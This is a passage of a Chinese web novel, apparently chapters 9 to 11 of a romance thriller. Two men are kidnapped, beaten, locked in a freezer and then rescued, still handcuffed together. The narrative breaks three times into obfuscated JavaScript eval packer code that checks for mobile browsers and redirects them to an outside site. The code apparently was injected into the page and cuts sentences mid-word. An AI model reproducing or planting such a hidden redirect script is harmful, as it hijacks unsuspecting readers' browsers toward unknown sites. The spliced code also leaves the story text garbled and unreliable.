这一顿饭足足吃了两个多小时,陈远豪在外面站得脚都有些发麻。这家伙该不是真把自己当成金贵的小少爷了,把大米饭当珍珠,一粒一粒数着吃吧? 等杨峋英终于出来时,天彻底黑透了,胡同里的路灯昏黄,把人的影子拉得老长。他跟着杨峋英往胡同深处走,尽头是片小型停车场,除了几辆车孤零零地停着,连个巡逻的保安都没有。 陈远豪的眉头不自觉地拧了起来,眼神也沉了几分,总觉得这周遭静得有些诡异。 不是那种寻常夜晚的安静,是透着股说不出的压抑,像有什么东西正躲在暗处盯着,搅得他心里发紧。那是常年应对麻烦事儿练出的直觉。 就在这时,几个穿黑衣、戴口罩的人突然从什么地方冒了出来。杨峋英显然没防备,刚要开口惊呼,就被人用沾了东西的毛巾捂住了口鼻,身子软了软,没几秒就晕了过去。 那些人架着他,动作麻利地塞进了一辆没有牌照的黑色轿车里,车门“砰”地一声关上,车子转眼就驶出了停车场。整个过程转瞬即逝。 该死! 陈远豪暗骂一声,一边咬牙想着杨峋英这脑子真是半点没长,早提醒过要留心,偏偏还是落了套;一边又控制不住地慌,那股子担忧像潮水似的往上涌,压都压不住。 他没敢耽搁,冲到路边,伸手拦下一辆正好经过的出租车,拉开车门就说:“师傅,跟上前面那辆黑色轿车!快!” 坐在车后座上,他指尖攥得发紧,视线紧紧锁着前方黑色轿车的车尾,慌乱、不安的情绪在胸口堵着,压得他浑身难受。 最后,陈远豪跟到偏远郊区,给司机结了钱,下了车,悄悄跟在那几个人身后。 就算他练过几手,可眼下就他一个人,对方又是常年干脏活的□□,真要硬碰硬,自己几乎没有胜算。 按“行里”的规矩,如果是只按“委托”要求教训一顿、出出恶气,找个稍微偏僻没人的地方就够了,犯不着绕这么大一圈,跑到这鸟不拉屎的郊区来。 这架势,不像是要动手教训人,反倒像要把人带到这儿神不知鬼不觉处理掉。 那几个人径直走进了附近一间废弃工厂,陈远豪放轻脚步,悄无声息地跟了上去。 等对方关上工厂大门,他贴着冰冷的铁皮门屏住呼吸。好在门没关严,一道细小的缝隙刚好能让他看清里面的情形。 刚把视线凑过去,陈远豪就觉得身后传来一丝异动,他瞬间绷紧了神经,警惕地转头,锐利的目光像鹰隼似的扫过四周 什么都没发现。 尽管疑惑,可他没敢多耽搁,重新把注意力拉回门缝里,继续留意屋里的动静。 原来工厂里早提前藏了几个打手,再算上从黑色轿车上下来的那几人,加起来足有六七个个人。只见其中一个打手拿出手机录着视频。 没一会儿,杨峋英就迷迷糊糊地醒过来,眼神还有些发懵,显然没搞清楚自己在哪儿。而几个打手已经攥着铁棍围了上去,眼神阴恻恻的,准备动手。 门外的陈远豪心脏猛地一缩,脑子里什么都顾不上想,也没考虑冲进去会不会把自己搭进去,只剩下一个本能的念头。 绝对不能让那些铁棍落在阿英身上。 哪怕只是蹭到一下,让他多疼一分一毫,都不行。 “哥几个,这深更半夜的在里头聚着,是搁这儿......”陈远豪猛地推开工厂大门,方才在门外时那冷冽的眼神,瞬间换成了街头混混特有的熟络笑容,慢悠悠地走了进来。 打手们没预料到会有人跟过来,视线一下全落在陈远豪身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就这分毫的走神,一个打手抓住空隙,铁棍狠狠砸在陈远豪腰侧,他闷哼一声,只觉得腰间一阵剧痛,整个人踉跄着后退两步,险些栽倒。 “你没事吧?”发现陈远豪受伤,杨峋英声音里罕见地带着慌乱。 “艹,真他妈疼。”陈远豪低骂一声,刚想撑着身子站直,就见一根铁棍朝着自己脑袋挥来,这特么要是砸中,脑浆子非得溅出来不可。 他下意识想抬胳膊去挡,就在这时,杨峋英猛地冲过来,拽着他的胳膊往旁边一拉,铁棍擦着陈远豪的耳边砸在地上,震得地面都颤了颤。 对方不仅人多,手里还都握着铁棍,两人终究是寡不敌众,最后双双跌在地上。 陈远豪喘着气看向杨峋英,让他意外的是,对方眼里没有半分身处险境的恐惧,反倒满是焦虑,盯着他问道:“你怎么这么傻,来这里干什么?知不知道很危险?” 陈远豪扯了扯嘴角,依旧是那副吊儿郎当的笑:“还能干嘛?总不能看着大美男被人揍得哭爹喊娘,没人收尸吧?” 四目相对的瞬间,陈远豪清晰地感受到杨峋英眼神里的变化,不知道是不是错觉 。 他天生多情的眼眸里,温柔中裹着几分邪魅,似有深意又游刃有余,仿佛不管对着谁,都能随口撩拨几句。 可此刻,那层带着多情意味的迷濛彻底褪去,眼底只剩下全然的专注,像是周遭的混乱都成了模糊的背景,只余下眼前这一个人。 杨峋英盯着他看了几秒,唇角轻轻勾了勾,声音压得偏低,带着点笑意又藏着几分认真:“傻瓜,都告诉过你多注意自己的安全,偏不听,还要跟过来。不过,你能来,我倒挺高兴的。” 这话刚落,旁边的打手就不耐烦地打断,冷声道:“别在这儿磨磨唧唧说废话,放心,你们俩一个都跑不了,也不会有人来给你们收尸。” 几个人顺势抬起棍子,准备发起下一轮攻击。 陈远豪不知道怎么了,一点都感受不到怕,沉声问:“就算是死,也得让我们死个明白。你们到底是拿人钱财的打手,还是专门替人灭口的杀手?” 说完,他又转过头看向杨峋英:“还有你,你到底得罪了谁?”这架势根本不是普通的教训,是想置你于死地。他想听句实话。 打手冷哼一声,显然不想给他“死个明白”的机会。 正要动手,兜里的手机却突然响了起来。 10. 第 10 章 领头的打手接完电话,原本阴沉着的脸多了几分不易察觉的慌乱。 陈远豪将这细微的变化看在眼里,更让他在意的是,那打手慌乱间扫向杨峋英时,眼底飞快掠过一丝难以置信。 尽管那眼神快得像错觉,藏得又深,却还是被他捕捉到了。 陈远豪还没来得及细想这眼神背后的意思,就见那打手突然伸手摸向口袋,动作急促地掏出个东西。 是一副冰凉的手铐。 不用想也知道,这群人准是因为电话里的突发状况,临时改了计划。 “就一副手铐,怎么拷两个人?”旁边一个打手压低声音问。 领头的黑衣人没说话,只扫了一眼瘫在地上的两个人,上前一把拽住陈远豪的胳膊,“咔嗒”一声将手铐一端锁在他手腕上,另一端则绕到杨峋英脚踝处,狠狠扣紧。 “你们这是要干嘛?”陈远豪盯着手腕上冰凉的铐子,又看了看自己的手和杨峋英的脚被连在一起。这他妈是什么奇葩姿势? 打手根本没给他们废话的时间,其中一人上前,架住杨峋英的肩膀,硬生生把他提了起来。 这一下可把陈远豪整蒙圈了。他的手腕和杨峋英的脚踝锁在一起,对方一站起来,手铐就扯得他胳膊发紧,身子根本没法跟着起身,只能眼睁睁看着自己被拽得半边身子离地,又重重坐回地上。 打手见身后没动静,回头一看。 陈远豪干脆盘起腿,像在自家炕头歇着似的坐在地上,一脸“爱咋咋地”的摆烂模样。 “我说兄弟,你这聪明的脑袋瓜子想出来把我手跟他脚锁一块儿的法子,虽说确实能让我们俩不好行动,但我现在该怎么走啊?” 其实陈远豪知道该怎么走,可他偏不。走起来跟瘸腿Ha//蟆似的,也太丢人了。 打手没空跟他磨叽,抬脚就往他肚子上狠狠踹了几下,脚劲极足,力道重得让陈远豪瞬间弓起腰,连气都闷在喉咙里,冷声道:“我倒要看看,是你嘴硬,还是我这脚能让你动起来。” “你没事吧?”杨峋英急忙俯下身,手覆上他被踹的肚子,掌心动作轻得像怕碰碎什么似的,只慢慢揉了几下,担忧道,“好点了吗?” 陈远豪疼得浑身发紧,冷汗瞬间冒了一层,却仍抬眼看向杨峋英,带着一丝痞气的笑容说:“你别急啊,我能有什么事儿。” 刚想撑着地面抬头,就见那黑衣人的脚又踹过来。他下意识想翻身躲避,却没料到杨峋英先动了。 只见他膝盖微屈,长腿一抬,精准地抵住了黑衣人的脚踝,力道看似不大,却让对方的动作硬生生顿在半空。紧接着,他脚踝微旋,顺势往对方小腿肚上一踹。 那力道藏在利落的动作里,没半分拖沓,那黑衣人当即重心失衡,踉跄着往后退了两三步,才勉强稳住身形。 帅啊。陈远豪抬眼望去,杨峋英脸上没半分表情,往日里那双总带着点似有深意的桃花眼,此刻冷得像寒冬里结了冰的湖面,明明是张妖孽般的花美男脸蛋,却硬生生透出几分暗夜修罗似的凌厉,连周遭的空气都仿佛沉了沉。 陈远豪也没想到,在他印象里,这个带着点单纯、偶尔还会露些柔弱的人,竟然会有这样的一面。 离得近,他发现杨峋英微微低睫,睫毛底下凝着犹豫,还有些没压稳的情绪在眼底泛着微光。 具体是什么,陈远豪说不清。 视线下意识落在对方垂在身侧的手,修长骨节分明的手指在布料上顿了顿,又缓缓松开。 陈远豪微微眯起眼睛。他的兜里难道藏着什么东西? “你......”黑衣人没料到杨峋英会动手,像是想扑上来还手,可眼神扫过杨峋英冰冷的脸,又想起什么似的,终究没敢动,只愤愤地瞪着他。 旁边另一个打手见状,赶紧上前拉住他:“别耗了,此地不宜久留。” 几个打手随即上前架住杨峋英的胳膊,杨峋英被迫起身,手铐瞬间绷紧。陈远豪被拽得没法坐稳,整个人只能歪着身子,顺着力道往前拖,活像块被人拖着走的破布。 觉得自己丢人丢到姥姥家的陈远豪,心里把这群打手的祖宗十八代挨个问候了一遍。 两个人被带到工厂附近的工业冷冻库。这地方本是工厂用来储存生鲜原料或半成品的,墙壁和地面都裹着厚厚的保温层,内里还装着大功率制冷设备,寻常时候门一锁,温度能低到零下十几度。 打手粗暴地把他们往里面一扔,两人重重摔在冰冷的地面上,为首的黑衣人居高临下地看着他们,眼神里没半分温度:“这冷冻库的温度会越降越低,你们能撑到什么时候,全看老天爷肯不肯赏命。” “砰”的一声甩上门,门外传来落锁的闷响。 门刚关上,一股刺骨的寒意就从四面八方涌来,空气里还飘着淡淡的冰霜味。原本就透着冷意的空间,没两分钟就冷得像冰窖。 还穿着半截袖的陈远豪只觉得寒气顺着衣领往骨头缝里钻,胳膊上的鸡皮疙瘩就密密麻麻竖了起来,连呼吸都带着白雾。 混了这么多年,挨过打、被追过债,什么糟心事没经历过?可冻得跟根冰棍儿似的,还是头一遭。人要是因为被冻死没了,那可太他妈冤了。 陈远豪刚硬撑着坐起来,杨峋英就伸手解开西装外套的扣子。 直到布料刚搭在他肩上,他才反应过来,一把扯开:“你自己穿,我抗冻着呢。”牙齿却不受控地“咔嗒”响了一声,他偏要硬装成没事人似的。 杨峋英的手更快,直接按住他的手腕。他看着陈远豪,眼神比刚才在工厂时还要沉,声音却还像两人一开始认识时那样温柔:“你是怎么知道我在这儿的?我不信会这么巧合,你是一直跟着我过来的,对不对?” 陈远豪被他按得动不了,索性梗着脖子承认:“跟了一天怎么了?我朋友以前就干这个,里面的门道他跟我提过几句。别的细节没必要多说,用脚想都知道没好事。” 说得随意,却没躲过杨峋英的目光,像被看破心事似的,忙把话头扭开:“说正事,到底是谁雇的这些人?” “是不是杨俊伟那孙子?”没等杨峋英回答,陈远豪就自顾自猜了起来,又顺着话头理清疑问,“你不是说过你们俩不熟吗?要是你只是他们公司里无足轻重的普通员工,又是他那个可有可无的远房表哥,他至于非要置你于死地吗?” 其实他心里不太信是杨俊伟干的。杨俊伟这人虽说坏,却吃软不吃硬,对他觉得没威胁的人,只要多说两句好话、多捧着点,多半也就放过了,犯不着动这么大的阵仗。 杨峋英听了,轻轻笑了下,那笑意却没到眼底:“说实话,我平时待人处事都顺着来,没跟谁红过脸,也没家世没背景,就是大马路上一抓一大把的普通人,是真不知道得罪了谁。要是早知道,也不会被人堵到这地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305420|182815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方来。” “倒是你,一直跟着我,是怕我死了?”杨峋英敛眼,遮住眸底情绪,语气听不出半分起伏。 可没等陈远豪回应,他忽然抬眼,一双因寒冷浸着点水光的桃花眼,盯着对方:“所以,我在你这里,不算是可有可无、无足轻重的人?” 话音落时,他又往前凑了凑,高挺的鼻梁轻轻贴上陈远豪的鼻尖,冰凉气息扫在脸颊上,连陈远豪都觉出自己的心跳正跟着那气息忽快忽慢。 杨峋英勾着唇角邪笑,尾音轻轻勾着:“我想,应该不是吧。” 陈远豪冻得连脑子都有些转不动,只能愣愣地看着杨峋英。对方本就冷白的肌肤,此刻更是没了半分温度,说这些带着试探的话时,透着种易碎又勾人的美感。 顿了下,他扯起唇角,摆出惯有的混不吝模样,漫不经心地说:“我陈远豪虽说平时没个正经事,也不至于闲得非要以身犯险。” 语气里裹着惯有的痞气,眼神却没敢直视对方:“你也知道,咱们没认识多久。不过呢……”他挑了挑眉,拖长调子,“谁让你上次在夜场请我喝的酒味道还不错?要是你这儿真出了事,以后我找谁蹭酒去?” 陈远豪手指无意识地摩挲着杨峋英外套的下摆,收了收神,看向对方:“再说了,我朋友以前跟我吹过,说他当年救兄弟多牛逼,我这不也想试试?明知道前面是陷阱还往上冲,回头跟他吹牛逼也有素材,对吧?” 说完他自己先笑了,笑声在冰窖里显得格外脆,却没持续两秒就被寒颤打断。他借着打哆嗦转移话题,故意拔高点嗓门:“咱们俩净在这儿扯这些没用,当务之急不如想想怎么出去。你看,我都快冻得没知觉了,总不能真成俩冷冻肉,让人抬出去扔了吧?” “你很冷,对吗?”杨峋英又问了一遍,陈远豪正觉得莫名其妙。 下一秒,后脑勺就被杨峋英用力地按住,对方那性感的薄唇霸道地覆了上来。 没有窒息感,反倒是一股温热的气息顺着唇齿涌进来。这温度像团小火苗,瞬间驱散了唇上的冰凉。 陈远豪只觉得胸腔里的气息,像是被这突如其来的吻逼得微微发烫,脑子更是 “轰隆”一声,像有颗响雷炸开,剧烈的冲击波扫过全身,身体瞬间僵住,连反抗的力气都没了。 杨峋英闭着眼睛,指尖摩挲着他柔软的头发,吻却带着不容拒绝的掠夺感,温柔地勾着他冰凉的唇舌辗转厮磨,像是对待稀世珍宝一般,一寸寸加深着缠绵。 他吻得越来越温柔,身体也顺势贴了过来,胸膛紧紧抵着陈远豪的,那强有力的心跳透过衣料传过来,一下下撞在陈远豪的心上。 原本“死机”的大脑,在这温热的触碰与心跳的共振里慢慢回神,陈远豪像沉溺于罂粟之中,不知不觉就坠入了这种情爱的享受里。 他抬手,不轻不重地按在杨峋英的脖颈后,紧接着便闭上眼,抬唇回吻。舌尖急切地探进对方口腔,刚碰到杨峋英的舌尖,就被对方顺势含住,带着点急切地吸吮。 两人的舌尖缠绕着,彼此的吻里带着点细碎的“嘬”声,脸颊的肌肉都跟着微微凹起,连呼吸都变得滚烫起来。 忘了这冰窖里步步紧逼的寒冷、忘了时间正一分一秒耗着、忘了理智该守住的分寸,他们的眼里心里只剩下眼前人的温度。 直到门外传来“咔哒”一声,金属门栓被拉开的钝响,打断了这满室的缠绵。 11. 第 11 章 两人都没留意身后有人走近,也没察觉冷冻库的制冷开关已被关停。 原本刺骨的寒意渐渐退去,屋里的温度慢慢回升了些,唇瓣还黏着不肯分开,蹭着、咬着,裹着未尽的缱绻。 直到一道带着无奈的脚步声停在跟前,陈远豪才慢慢回神,但他没睁眼,只微微伸出舌尖,轻轻扫过杨峋英的下唇,带着点没餍足的软意。 松开杨峋英时,唇上还留着对方的温度。陈远豪舔了一下自己的嘴唇。 柠檬薄荷味的。 好甜。 抬眼就撞进梁世宇无语的眼神,陈远豪脑子还没完全从刚才的意乱情迷里抽离。 这不是上次在夜店缠着想撩阿英的小子吗? 陈远豪防备心瞬间提了起来,眉梢一扬,吊儿郎当地说:“你怎么在这儿?” 梁世宇察觉出他那股“领地被侵”的挑衅劲儿,偏故意逗他,挑着眉反问:“我怎么就不能在这儿?我追我喜欢的人,难不成还要先问问别人的意见吗?” 陈远豪嗤笑一声。这男的肯定撞见了他们俩亲近,怎么还能这么恬不知耻地说这话?面上却没露半分恼意,慢条斯理地说“先不说你能不能在这儿,你倒是说说,你知道什么是喜欢吗?” 梁世宇没像愣头青似的硬顶,反而语气里带着点四两拨千斤的从容:“喜欢就是想跟他待在一起,想对他好,这还不够清楚?” “待在一起、对他好?”陈远豪慢悠悠重复着这几个字,尾音里裹着点漫不经心的嘲讽,“可有的人的‘喜欢’,说白了就是凑上去当跟屁虫,人家压根没把你放在眼里,还巴巴地往前凑。这种啊,叫舔狗,舔到最后,大多是一无所有。” 梁世宇轻笑一声:“呦,这么自信啊?”说着,他目光转向杨峋英,“你真压根没把我放在眼里啊?” 陈远豪带着故作玩味的视线也跟着落过去。 杨峋英自然瞧出了他这点期待的心思:“怎么没放在眼里?不过,放在眼里的位置,跟放在心上的位置,可不一样。” 这话一出口,陈远豪眼底的笑意瞬间漫开,连嘴角都忍不住往上扬了扬,压都没压住。 再一次被好友“放弃”的梁世宇有气无力地吐槽一句:“得,就没见过你这么过河拆桥的人,早知道你这么没良心,我应该让你们在冷冻库里多冻会儿,犯不着巴巴地跑过来救你俩。” “你这话什么意思?”陈远豪没听明白。合着这男的是特意来救他们的? 杨峋英也不继续演了,笑着解释:“别瞎想,他是我大学同学,也是我最好的朋友,刚才那些打手,是他帮忙调走的。” 陈远豪眼神在杨峋英和梁世宇脸上转了转,后知后觉地哼笑一声:“合着就老子一个人蒙在鼓里,你们俩搁这演双簧逗我玩呢?” 杨峋英似笑非笑地看着梁世宇,顿了下,说:“你时间卡得倒是很好,来得不早不晚。” 梁世宇看了眼两人泛红的唇,忍不住调侃:“看来我来早了,该等你们俩在这儿亲到冻僵了再过来,省得扰了二位的好兴致。”这俩总共进去了六分钟,怕是有三分钟都在亲。 杨峋英起身,攥住陈远豪的袖口:“别在这呆着了,再不走,一会儿连亲你的力气都没了。” 陈远豪活动了一下自己发僵的身体,发现帽子掉在一边,弯腰去捡时,手腕却被什么东西拽了一下。低头一看,银晃晃的手铐正把他的手和杨峋英的脚踝缠在一起。 这该死的姿势。 陈远豪眉峰拧了拧,嘴角往下撇,满脸都是不耐。 梁世宇不知死活地补了一刀:“怎么不动了?” 陈远豪递给他一个“再废话就收拾你”的眼神。 杨峋英俯身凑近陈远豪,性感的嗓音落进耳里:“走了,没人笑话你。再说了,就算被人看见,那也是我跟你绑在一块儿,要笑也是一起被笑,有什么好怕的?” * 一路进到车里,冻得脑子发木的陈远豪在后排坐了一会儿,混沌的思绪才慢慢回笼,后知后觉的疑问像潮水似的涌上来。 这年轻男人是特意来救他们的,可他是怎么找到这么偏远的地方的? 为什么那些人接了通电话就突然撤走,连原定的计划都放弃了? 那些打手现在又去了哪里? 这不是他瞎想,能碰上这种事,实在太过巧合。 陈远豪侧过眼想问问杨峋英,却见对方倚在椅背上,手臂随意地搭在车门内侧的扶手上,明明只是寻常坐姿,却像精心修过的海报似的,每一处线条都好看得扎眼。 只是往日里那邪魅的温柔全然褪去,眼底积着层散不开的雾,分不清是烦乱还是怅然,连目光都沉得发滞,没了半分先前的鲜活。 陈远豪唇角那抹懒洋洋的弧度也渐渐放平,连带着车里那点刚从冷冻库带出来的冷意,都像顺着毛孔钻进了心底。 两人唇齿间纠缠的热意、那份未及消散的缱绻,直到现在,依旧在他唇上留着温度。 可杨峋英却像什么都没发生过。 陈远豪想不通,为什么这么一会儿功夫,对方就像变了个人,他到底在想什么? 可再怎么想不通,他也没法开口问。 那点亲昵仿佛被凭空掐断,连带着这车厢都显得闷得发慌。 陈远豪在街头混了这些年,三教九流见得多了,就算天塌下来的事,在他眼里也能笑着扛过去,向来活得恣意又洒脱。 没正经谈过恋爱,可调情的本事却天生熟稔,即便方才是头一次那样热烈地亲吻,也能不羞不臊地跟杨峋英缠得难分难解。 按说他不该这样在意杨峋英的情绪,对方心里藏着什么事、开不开心,都跟他没关系,大不了一笑而过,犯不上搁在心上。 可此刻看着杨峋英这副提不起精神的模样,陈远豪心里竟也跟着沉了沉,莫名生出几分失望来。他自己都说不清这份失望从哪来。 杨峋英余光注意到陈远豪若有所思地注视着自己,眼底的滞涩感缓缓收了去,换上一如往常的温柔含笑的眼神,仿佛方才那份复杂从未出现过。 陈远豪的情绪收得也快,先前那些莫名的失望与闷意,被他干脆利落地压了下去,再开口时,便将心里攒着的疑问,从头到尾跟杨峋英说了一遍。 前面开着车的梁世宇,目光透过车内后视镜扫了眼后座两人:“我跟阿英本来就约了今天对接点事,晚上联系不上他,又通过人脉听说这片区有帮人在找他麻烦,怕他出事才顺着线索找过来的。没想到刚到就撞见那伙人堵你们,我就赶紧报了警,那帮人一听说警察要来了,就跑喽。” 梁世宇这番解释听着没什么问题,可在社会上混惯了的陈远豪并没全信。 这种时候就算追着问,对方也只会捡着能说的应付。眼下他们都平平安安的,其他的就先搁一边吧。 他在车后座半倚着,一条腿随意屈起,手腕贴在杨峋英的脚踝上,这姿势久了,胳膊渐渐麻得发僵。 他动了动肩膀想换个姿势,手肘往后撤时,正撞在杨峋英的裤兜上,关节部位触到一片冰凉坚硬的金属。 陈远豪心里莫名顿了一下。回想在工厂里,好像有那么一瞬间,杨峋英曾下意识摸过这个口袋,现在想来,倒有些说不清的古怪。 杨峋英感受到他的触碰,视线往他这边扫了眼。陈远豪赶紧收了心神,装作无事发生的样子,漫不经心地说:“你这兜儿里装的什么?碰着这么硬。” “打火机。”杨峋英说得轻描淡写。 确实有金属质地的打火机,可刚才那触感,总觉得比打火机沉得多。 他想点根烟顺顺气,摸出烟盒时才想起早上急着出门,打火机坏了,也忘了买新的。烟叼在嘴角,他含糊地冲杨峋英抬了抬下巴:“借你打火机用用,我忘带了。” “用我的吧。”没等杨峋英应声,前座的梁世宇突然回头,指尖一弹,一个银色打火机“嗒”地落在陈远豪腿上。 陈远豪捏着打火机,目光在梁世宇和杨峋英之间转了圈,总觉得哪儿不对劲。 他向来不是揪着小事不放的人,这点疑问也懒得琢磨,只听“咔嗒”一声脆响,淡蓝色的火苗窜了起来。 梁世宇也有眼力见,顺手把车窗降了半截,微风顺着缝隙钻进来。 烟雾丝丝缕缕往上飘,陈远豪突然想到一个问题:“你们俩,不对烟味过敏吧?” 两人都说没有。陈远豪吸了口烟,胸口那点闷意散了些,忽然想起件事,抬眼看向杨峋英:“对了,咱们俩算上这次,应该是第四回见面了吧?我到现在还不知道你全名,只听杨俊伟叫你‘阿英’。” 杨峋英侧过头,答道:“江逸英。” 陈远豪愣了下,他也忘了自己有没有跟对方说过名字,便也跟着补了句:“陈远豪。” 车里的沉默没持续多久,梁世宇目光落在陈远豪指间的烟上,问道:“哥们,你这抽的什么牌子的烟?” 陈远豪掀起薄薄的眼皮扫了他一眼,语气没什么波澜:“就小卖部卖的XX。” 梁世宇的目光先不着痕迹地往杨峋英那边飘了圈,带着点意味不明,又轻轻蹙了下眉,转回头时脸上又堆着笑:“我还以为你抽的是和我一样的古巴雪茄或者大卫杜夫呢。那种烟燃起来带着点木质香,混着淡淡的焦糖味,抽在嘴里绵柔不呛喉,比普通烟的辛辣冲劲舒服多了。” 这话听在陈远豪耳朵里,跟明着嫌弃他的烟廉价没两样。他嗤笑一声,修长的手指夹着烟往窗外抖了抖烟灰:“有些人把抽烟当摆谱,倒忘了烟本来是干嘛的。我呢,没那么多讲究,烟这东西,能解闷就行,管它是贵是贱。” 梁世宇无奈地笑了下,然后用带着点调侃的语调说:“那可不一样,像大卫杜夫那种,用的是陈年烟叶,过滤工艺也细,抽着没那么伤肺。别人闻着呢,也舒服点,总归是对身体好点。” 陈远豪这下听明白了。合着是嫌他这烟呛人,还伤身体。 他不在意这些,可也不能不顾及别人的感受,正要抬手去找车载烟灰缸摁灭烟头,手腕却突然被一只手攥住了。 他低眼,那只手骨节分明,凛冽的骨骼感在白皙的皮肤下格外清晰。 陈远豪不是什么手控,却也忍不住愣了下。这手,生得也太好看了点。 他扬了扬眉,没懂杨峋英这突如其来的动作,将信将疑地说:“你不是不喜欢这牌子的烟味?” 前座的梁世宇听得心里直叹气。何止是不喜欢,杨峋英压根就不抽烟,他讨厌刺鼻的味道。 杨峋英语气没什么起伏,问道:“你抽了多久烟了?” 陈远豪抬了抬眉,随意道:“也不长,四五年吧。” 他没多说,可脑子里却晃过多年前。那时候跟着一群混混瞎晃,看他们叼着烟吞云吐雾,自己也跟着学。 不是被谁带坏,是那时候年纪小,即便靠着自学啃完了初高中教材,学了些文化知识,可招工都卡着年龄线,压根没处找活干,只能混日子熬时间,闷得发慌。烟这东西便宜,点一根能撑半天,至少能让心里那点烦躁缓一缓。 杨峋英的声音很好听,明明是在说教,从他嘴里说出来却像是在调情:“以前在医院见过几个肺癌患者,开胸腔的时候,肺叶切了一段又一段,有的连整个肺都保不住。问起抽烟史,半数都是十几岁就开始抽的。” 他顿了顿,目光落在陈远豪脸上,带着点似笑非笑的认真:“你也想落得那样?” 陈远豪嗤笑一声,语气里带着点混不吝的坦荡:“这事儿哪有准头?我们楼里的大爷,抽了一辈子烟,快八十了身子骨还硬朗着呢,也没见得什么癌。人活一辈子,哪用那么讲究?活多久,都是命数定的。” 杨峋英指腹轻轻摩挲了一下陈远豪的手腕,声音压得低了点:“可我不想让你抽呢?” 陈远豪愣了一下,没料到他会这么说,顿了两秒才反应过来,朝杨峋英的裤兜方向扬了扬下巴,眼底带着点戏谑:“你自己兜儿里还揣着打火机呢,可别说自己不抽烟。你自己都抽,倒不让我抽?这也太不讲道理了吧?” 杨峋英勾了勾唇角,眼底漫开点细碎的笑意:“那我陪你抽,不就不算不讲道理了?” 空气里静了两秒,没什么僵持的紧绷,倒多了点说不清道不明的暧昧。 杨峋英看着他,没再多说,只沉默着伸过手,接过陈远豪指间那半根还燃着的烟,送到自己唇边。 陈远豪有点懵了。 他活这么大,就连跟他从小一起混到大的白刚他们,都没谁会抽他剩下的烟。 居然还有人有这种特殊癖好? 没等他想明白,就见杨峋英微微眯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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梁世宇刚要开口吐槽。 陈远豪就慢悠悠来了句:“那你报警吧。” * 车驶进市内时,快凌晨两点了。 这手铐看着普通,锁芯却是改装过的,寻常配钥匙的铺子根本没法处理,梁世宇绕着几条街找了圈,能开仿制手铐的地方也都关门了。 陈远豪没独居的地方,眼下这情况也没别的办法,只能跟着杨峋英回他家蹭一晚。 北城的繁华即便是深夜也没完全沉下去,街边偶尔有晚归的行人走过,霓虹招牌还亮着零星的光。 陈远豪跟在杨峋英身侧,手腕还和对方的脚踝用手铐缠着,只能屈着膝盖,身子微微前倾,像被牵制住似的,一步一挪地跟着走,姿态别扭得很。 他脸皮厚,可又不是没脸,此时又羞又愤,把帽子沿儿压得极低,几乎要遮住整张脸,生怕被路过的人多看一眼。 小区里,几个刚散局的男青年勾肩搭背走着,嘴里哼着跑调的小曲,一听就是喝多了。 其中一个男生眯眼瞥见不远处的两人,抬手一指,大着嗓门嚷嚷:“哎你们快看!这都几点了,怎么还有人出来遛狗啊?” 被当成“狗”的陈远豪咬着后槽牙,心里骂了句国粹。头顶传来杨峋英压着的轻笑声。 “笑个屁啊你。” 另一个男青年眯着眼往这边看:“这狗看着挺大啊,毛还短,你们看看这是什么品种的?看着挺精神。” “像加纳利!”有人笃定道,“你看那身形,削瘦但线条特有力,加纳利就这样,精神帅气!” 忍无可忍的陈远豪抬起头,朝着那边喊道:“加你爹啊!傻逼吧?人和狗都分不清。” 那几个男青年被他吼得愣了愣,随即好奇地迈着虚步凑过来,跟在他们身后,大着舌头问:“哎?这狗怎么还会说人话啊?成精了这是?” “一看就是纯血的,不得值个万八千的?”说着就要抬手去拍陈远豪的脑袋,“来,让哥哥摸摸,听话啊,别咬哥。” 陈远豪气得攥紧了拳头,要不是手腕还和杨峋英的脚踝缠着,真想直接冲上去砸向这几个醉鬼。 杨峋英挡住了那男人即将落下来的手,忍着笑转过头对那几人说:“几位,他脾气不太好,别逗他了。” 那男生还没醒酒,听了这话更乐了:“哎哟?主人还替狗说话呢,这狗待遇够好啊。” 密码锁“嘀”的一声解锁,陈远豪跟着杨峋英走进屋里,随手摘下帽子,目光不自觉扫了一圈。 整套房子是欧式简约风格,配色沉稳,近二百平的大平层被打理得一尘不染,家具和摆件虽不张扬,可肉眼可见的质感,一看就不是普通工薪阶层能负担的,更像是独居人士的住所,处处透着精致的私属性。 北城这地段的房价寸土寸金,尤其这小区,地段、配套都是顶尖的,一套大平层没个几千万根本拿不下来。 他想起之前杨峋英说自己是“资产几千万的中产”。就算是中产,也未必能轻松住上这个级别的房子。 陈远豪试探着问:“这房子是你的?” 杨峋英刚换好鞋,闻言回头看了他一眼,像是早猜到他会这么问,笑道:“我爸名下的房产。早年房地产行情好的时候,他手里攥着几块地,后来赶上拆迁和市场热炒,翻了几番,又陆续收了几套房,这处是其中之一,我嫌住家里麻烦,就搬来这边了。” 话说得条理清晰,连早年的背景都寥寥几语带过,解释了房子的来源,又没多露家底,分寸感拿捏得恰到好处。 陈远豪没接话。平时看阿英的朋友圈,要么是打卡餐厅,要么是去夜场玩的照片,待人接物时又带着股所向披靡的撩拨劲儿,乍一看总觉得有点不着调。 可接触下来,像这种偶尔不经意间露出来的清醒和条理,跟他那副玩世不恭的样子完全对不上。 陈远豪心里忽然泛起一阵说不清的滋味,就像方才在车里那样。 瞥见杨峋英眼底那点他看不懂的沉静时,又觉得两人之间隔着层摸不透的距离,忽近忽远的。 